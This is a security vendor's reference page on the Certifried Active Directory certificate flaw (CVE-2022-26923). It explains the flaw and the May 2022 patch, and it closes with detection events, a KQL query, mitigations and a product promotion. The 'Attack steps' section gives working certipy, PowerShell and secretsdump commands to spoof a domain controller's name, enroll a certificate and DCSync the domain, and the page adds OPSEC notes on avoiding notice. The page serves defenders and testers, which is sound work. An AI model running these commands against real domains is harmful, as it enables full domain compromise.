1. Resources
  2. Identity Threats
  3. Active Directory

Certifried (CVE-2022-26923)

Also known as: Certifried, dNSHostName spoofing, Machine certificate impersonation, CVE-2022-26923

A domain user sets the dNSHostName of a computer account they control to a domain controller's name, enrolls a machine certificate with that name and authenticates as the domain controller.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any domain account that can create a computer account (MachineAccountQuota above 0) or write dNSHostName and servicePrincipalName on one, plus enrollment in a machine certificate template.
What the attacker gains
A certificate that authenticates as a domain controller's machine account, then its NT hash and DCSync of the domain.
Threat groups
APT29NIMBUS MANTICOREAgriusAPT28APT3APT32APT33APT5Aquatic PandaBITTERBlackByteChimeraCinnamon TempestCobalt Groupand 27 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1649, T1068, T1078.002.

How it works

Active Directory Certificate Services issues machine certificates from a template named Machine (shown as "Computer"), which Domain Computers may enroll in by default. The template tells the CA to build the certificate's subject alternative name from the dNSHostName attribute of the requesting computer account. For PKINIT, the KDC then mapped a machine certificate to an account through that DNS name.

So the identity in the certificate came from an attribute, and the attribute can be edited:

  • A user who creates a computer account, which any domain user can do while ms-DS-MachineAccountQuota is above 0, receives the validated writes "to DNS host name" and "to service principal name" on it.
  • dNSHostName doesn't have to be unique in the directory. The only obstacle is indirect: when dNSHostName changes, the domain controller rewrites the account's SPNs to match, and SPNs must be unique. If the account has no SPNs that carry the host name, there is nothing to rewrite and no conflict.

The chain discovered by Oliver Lyak:

  1. Create a computer account and remove the SPNs that contain its DNS name.
  2. Set its dNSHostName to the DNS name of a domain controller, for example dc01.corp.example.com.
  3. Enroll in the Machine template as that computer. The CA issues a certificate whose DNS name is the domain controller's.
  4. Authenticate with the certificate. The KDC maps the DNS name to DC01$ and issues a TGT for the domain controller's machine account.

The requester and the identity in the certificate differ, and before the patch nothing compared them. The CA didn't grant any directory rights by issuing the certificate; the escalation happens when the KDC maps it.

What the patch changed. With the May 10, 2022 updates, an enterprise CA adds a security extension (OID 1.3.6.1.4.1.311.25.2) that contains the SID of the requesting account, and the KDC compares that SID with the account the certificate maps to. A certificate requested by WS99$ carries the SID of WS99$ and can't be used as DC01$. The same update series introduced strong certificate mapping, the background for ESC9, ESC10 and ESC14.

Variants. Any account where the attacker can write dNSHostName and servicePrincipalName works, not only one they created. And if the domain controllers don't support PKINIT, the certificate can still be used over LDAPS with Pass-the-Cert.

Prerequisites

  • A valid domain account.
  • A computer account under the attacker's control: machine account quota above 0 (the default is 10), or write access to dNSHostName and servicePrincipalName on an existing computer account whose credentials they hold.
  • An enterprise CA that publishes the Machine template, or another template that takes its identity from dNSHostName and allows client authentication.
  • An unpatched link in the chain: a CA without the May 2022 update (or a template with the SID extension suppressed) and domain controllers that still accept a certificate without a strong mapping.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Check whether the CA adds the SID extension

Request a certificate as the current user and read Certipy's output. A patched CA makes it report the object SID found in the certificate:

certipy req -u alice@corp.example.com -p 'Password1' -dc-ip 192.0.2.10 \
    -target ca01.corp.example.com -ca CORP-CA -template User

2. Create a computer account with the domain controller's DNS name

Certipy creates the account and sets dNSHostName in one step, without the SPNs that would collide:

certipy account create -u alice@corp.example.com -p 'Password1' -dc-ip 192.0.2.10 \
    -user WS99 -pass 'Winter2026!Lab' -dns dc01.corp.example.com

For an existing computer account, change the two attributes directly. With the ActiveDirectory module:

Set-ADComputer -Identity 'WS99$' -Clear servicePrincipalName
Set-ADComputer -Identity 'WS99$' -DNSHostName 'dc01.corp.example.com'
Get-ADComputer -Identity 'WS99$' -Properties dNSHostName, servicePrincipalName

3. Enroll a machine certificate as the computer account

certipy req -u 'ws99$@corp.example.com' -p 'Winter2026!Lab' -dc-ip 192.0.2.10 \
    -target ca01.corp.example.com -ca CORP-CA -template Machine

The saved dc01.pfx holds a certificate with the DNS name dc01.corp.example.com.

4. Authenticate as the domain controller

certipy auth -pfx dc01.pfx -dc-ip 192.0.2.10

Certipy requests a TGT with PKINIT, saves it as a credential cache and recovers the NT hash of DC01$.

5. Replicate the directory

secretsdump.py -just-dc -hashes :<dc01-nt-hash> 'corp.example.com/DC01$@192.0.2.10'

6. Clean up

Set dNSHostName back or delete the computer account. Deleting needs rights that a quota-created account's owner doesn't have by default, so the account usually stays.

Impact

A domain controller's machine account holds replication rights. With its TGT or hash the attacker runs DCSync and owns the domain: privilege escalation from any domain user to full compromise, using only default settings (the quota of 10 and the default machine template).

The certificate is also durable. It stays valid for the template's validity period, by default a year, and keeps working after the computer account is renamed back or deleted, until the certificate is revoked or domain controllers enforce strong mapping.

OPSEC and artifacts

  • Create and rename quickly. Operators change dNSHostName only for the moment of enrollment. The change is still written: event 4742 on the domain controller shows a new DNS host name on the computer account, with the user as the subject. A computer updating its own host name shows the computer account as the subject.
  • Using an existing computer account avoids event 4741, but not the 4742 for the attribute change, and it disturbs a real machine's SPNs.
  • The CA keeps a record. The request and the issued certificate stay in the CA database with requester CORP\WS99$ and the domain controller's DNS name. With CA auditing on, event 4886 and 4887 are written on the CA.
  • Certificate logon by a domain controller account. Event 4768 for DC01$ carries certificate issuer, serial number and thumbprint, and a client address that isn't the domain controller.
  • Duplicate DNS host name. Two computer objects with the same dNSHostName exist in the directory for as long as the attacker leaves it.
  • On updated domain controllers, the KDC writes System event 41 (the SID in the certificate differs from the account) or 39 (no strong mapping) when the certificate is used.

Detection

  • DNS host name changed by a non-computer account. The dNSHostName spoofing rule reads event 4742. A new value that equals an existing domain controller's name is the strongest form of the signal.
  • Computer account created by a user, shortly before: machine account creation rules.
  • Requester and certificate identity differ. In the CA database, a certificate whose DNS name belongs to another computer than the requester. Events 4886 and 4887 give the request ID to look up.
  • Weak or mismatched mapping at logon. KDC events 39 and 41, covered by the weak certificate mapping rules.
  • PKINIT for a domain controller account from an unexpected address.
// Certificate-based TGT requests for domain controller accounts, with the client address
let DomainControllers = dynamic(["DC01$", "DC02$"]);
WindowsEvent
| where Channel == "Security" and EventID == 4768
| extend Account = tostring(EventData.TargetUserName),
         CertIssuer = tostring(EventData.CertIssuerName),
         CertSerial = tostring(EventData.CertSerialNumber),
         Client = tostring(EventData.IpAddress)
| where toupper(Account) in (DomainControllers) and isnotempty(CertSerial)
| project TimeGenerated, Computer, Account, Client, CertIssuer, CertSerial

Domain controllers do use their own certificates, so compare the client address with the domain controller's addresses and the serial number with the certificates the CA issued to it.

Mitigation

  • Update every enterprise CA and every domain controller to a current cumulative update. The CA side adds the SID extension; the domain controller side checks it. One without the other leaves the hole open.
  • Run domain controllers in full enforcement of strong certificate mapping, which is the default since the February 2025 updates and the only mode since September 2025. Resolve the certificates named in events 39 and 41 instead of weakening the setting.
  • Don't suppress the SID extension. Review templates for the flag that removes it (the 0x00080000 bit in msPKI-Enrollment-Flag), which recreates the pre-patch state for that template.
  • Set the machine account quota to 0 and delegate joins, as described in the MachineAccountQuota guide.
  • Review who can write dNSHostName and servicePrincipalName on computer objects, and who can enroll in machine templates.
  • Audit and collect. Audit Computer Account Management on domain controllers and certification services auditing on CAs; the audit policy guide has the settings.
  • After an attempt, revoke the issued certificate, delete the rogue computer account, and if a domain controller identity was used, treat the domain as compromised.

A later AD CS flaw with the same outcome, a certificate that authenticates as a domain controller, is described in CertiGhost (CVE-2026-54121).

Detection rules for this attack

Log events to collect

FAQ

What made Certifried possible?

Two things. The creator of a computer account may change its dNSHostName, and the default machine certificate template builds the certificate's identity from that attribute. Before May 2022 the KDC mapped a machine certificate to an account by that DNS name alone, so a certificate that said DC01 was accepted as the domain controller, whoever had requested it.

Is Certifried patched?

Yes, by the May 10, 2022 updates, on both sides. An updated enterprise CA writes the requester's SID into the certificate, and an updated domain controller checks that SID against the account. Both the CA and every domain controller need the update. Domain controllers moved to full enforcement by default in February 2025, and the registry override ended with the September 2025 updates.

How can you tell whether an environment is still exposed?

Request a certificate from the default User or Machine template and look at it. If it has no SID security extension (OID 1.3.6.1.4.1.311.25.2), the CA isn't updated or the template suppresses the extension. On domain controllers, KDC events 39 and 41 in the System log show certificates that authenticate without a strong mapping or with the wrong SID.

How do you detect a Certifried attempt?

Look for event 4742 where a computer account's DNS host name was changed by a user account instead of by the computer itself, especially to the name of a domain controller, followed by a certificate request from that computer account (4886 and 4887 on the CA) and a certificate-based TGT request for a domain controller account.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.